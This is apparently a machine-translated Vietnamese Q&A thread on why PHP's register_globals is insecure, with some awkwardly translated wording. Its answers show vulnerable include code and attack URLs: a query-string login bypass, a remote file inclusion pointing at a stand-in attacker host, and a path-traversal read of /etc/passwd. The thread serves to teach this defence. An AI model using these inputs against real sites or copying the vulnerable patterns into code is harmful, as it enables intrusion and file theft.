Tôi không phải là một nhà phát triển PHP nhưng tôi đã thấy ở một vài nơi mà mọi người dường như đối xử với nó như bệnh dịch hạch hay gì đó. Tại sao?Tại sao REGISTER_GLOBALS lại tệ đến vậy?
Trả lời
REGISTER_GLOBALS
có nghĩa là tất cả các biến được chuyển qua GET hoặc POST đều có thể avilable dưới dạng biến toàn cục trong tập lệnh của bạn. Kể từ khi truy cập biến không khai báo không phải là một lỗi trong PHP (đó là một cảnh báo), nó có thể dẫn đến tình huống rất khó chịu. Xem xét việc này, ví dụ:
<?php
// $debug = true;
if ($debug) {
echo "query: $query\n";
}
Nó không phải là một điều xấu cho mỗi gia nhập (cũng thiết kế mã không nên tạo ra cảnh báo, do đó không nên truy cập vào bất kỳ biến mà có thể được không khai báo (và không nên cầnREGISTER_GLOBALS
cho cùng một lý do)), nhưng mã PHP thường [rất] chất lượng thấp, dẫn đến loại lỗ hổng bảo mật này.
Bởi vì nó cho phép người dùng tiêm bất kỳ biến toàn cầu nào trong mã của bạn mà không có bất kỳ kiểm soát nào.
Dựa trên chất lượng của mã, nó có thể đưa ra các lỗi bảo mật chính.
Bật REGISTER_GLOBALS hiển thị các trang web được PHP phân phối tới các lỗ hổng mà một số kẻ xấu sẽ muốn khai thác.
Với nó được kích hoạt, bất kỳ chuỗi truy vấn vào cuối URL:
http://yourdomain/something.php?valid=true
sẽ ảnh hưởng đến giá trị của một biến $ hợp lệ (ví dụ) trong something.php, nếu nó tồn tại.
Nếu bạn đang sử dụng mã PHP có sẵn công khai (ví dụ như thư viện), tên của các biến sẽ được biết rõ và tin tặc có thể kiểm soát giá trị của chúng bằng cách gán giá trị trong chuỗi truy vấn. Họ có thể bỏ qua xác thực.
Thậm chí nếu bạn không sử dụng mã công cộng, có thể đoán tên của các biến quan trọng và kiểm soát giá trị của chúng.
Nó từng là mặc định để có register_globals được kích hoạt trong PHP.INI
thực hành gần đây đã được vô hiệu hóa nó theo mặc định. Kích hoạt nó có nguy cơ của riêng bạn!
Chỉ cần thêm, đây là một số tình huống mà có REGISTER_GLOBALS
kích hoạt có thể làm hỏng ngày của bạn:
Sử dụng chuỗi truy vấn để bỏ qua điều khiển truy cập (hack bằng http://example.com/?logged=1):
<?php
$logged = User::getLogged();
if ($logged)
{
include '/important/secret.php';
}
?>
từ xa Bao gồm tệp (RFI):
<?php
//http://example.com/?path=http://evilbadthings.example.com/
include "$path";
?>
Local file Inclusion (LFI):
<?php
//http://example.com/?path=../../../../etc/passwd
include "$path";
?>
Ví dụ đầu tiên của bạn không bị tổn hại vì giá trị '$ log' được xác định bởi giá trị trả về của' User :: getLogged'. – Gumbo
- 1. Tại sao GLUT lại xấu đến vậy?
- 2. Tại sao DrawingContext.DrawText của Wpf lại đắt đến vậy?
- 3. Tại sao MVC lại phổ biến đến vậy?
- 4. Tại sao EXC_BAD_ACCESS lại vô ích đến vậy?
- 5. Tại sao LuaJIT lại tốt như vậy?
- 6. Giữ lại chu kỳ: Tại sao điều xấu như vậy?
- 7. Tại sao toán tử Javascript "&&" lạ đến vậy?
- 8. Tại sao RAII lại được đặt tên như vậy?
- 9. Tại sao Zend Framework lại phổ biến đến thế?
- 10. Tại sao các nhận xét nhiều dòng trong flex/bison lại dễ dàng như vậy?
- 11. Entity Framework + MySQL - Tại sao hiệu suất lại khủng khiếp như vậy?
- 12. Ký tự dấu chấm hỏi hiển thị trong văn bản, tại sao lại như vậy?
- 13. Tại sao dấu gạch chéo trong dịch vụ web lại quan trọng như vậy?
- 14. Ngôn ngữ VB.NET và Không có gì: tại sao nó lại như vậy?
- 15. Tại sao nhà điều hành Sobel trông như vậy?
- 16. Tại sao khái niệm Marshalling được gọi là như vậy?
- 17. Tìm tập lệnh PHP yêu cầu register_globals
- 18. QWidget.setContentsMargins() có vẻ không hiệu quả: tại sao vậy?
- 19. Tại sao ValueType.GetHashCode() được triển khai giống như vậy?
- 20. Tại sao cường điệu như vậy với hàm C# lambda?
- 21. Tại sao tiện ích `nm` được đặt tên như vậy?
- 22. vòng đếm đến 100 và quay lại 0 và lên đến 100 lần nữa và như vậy trên
- 23. Tại sao iframe lại chậm?
- 24. Tại sao điều này dẫn đến CS0695?
- 25. Scala: Tại sao diễn viên lại nhẹ?
- 26. Tại sao Thu hoạch lại được mua?
- 27. Tại sao deallocation lại chậm?
- 28. Tại sao Stream.Position lại dài
- 29. Tại sao SQLJ lại chết?
- 30. Tại sao Photoimage lại chậm?
"mã PHP thường là [rất] chất lượng thấp" - nói cho chính mình – OIS
Thường = luôn!. Nhưng tôi khuyên bạn nên duyệt qua nguồn của một số CMS nguồn mở. Bạn sẽ tìm thấy nhiều 'eval()', 'erege_replace()' và 'REGISTER_GLOBALS' hơn bạn mong đợi.Lưu ý: Tôi là một nhà phát triển php bản thân mình. – soulmerge
Cố gắng đọc biến không xác định là khó chịu. Bạn sẽ không gặp vấn đề đó với '$ debug = false;'. – Gumbo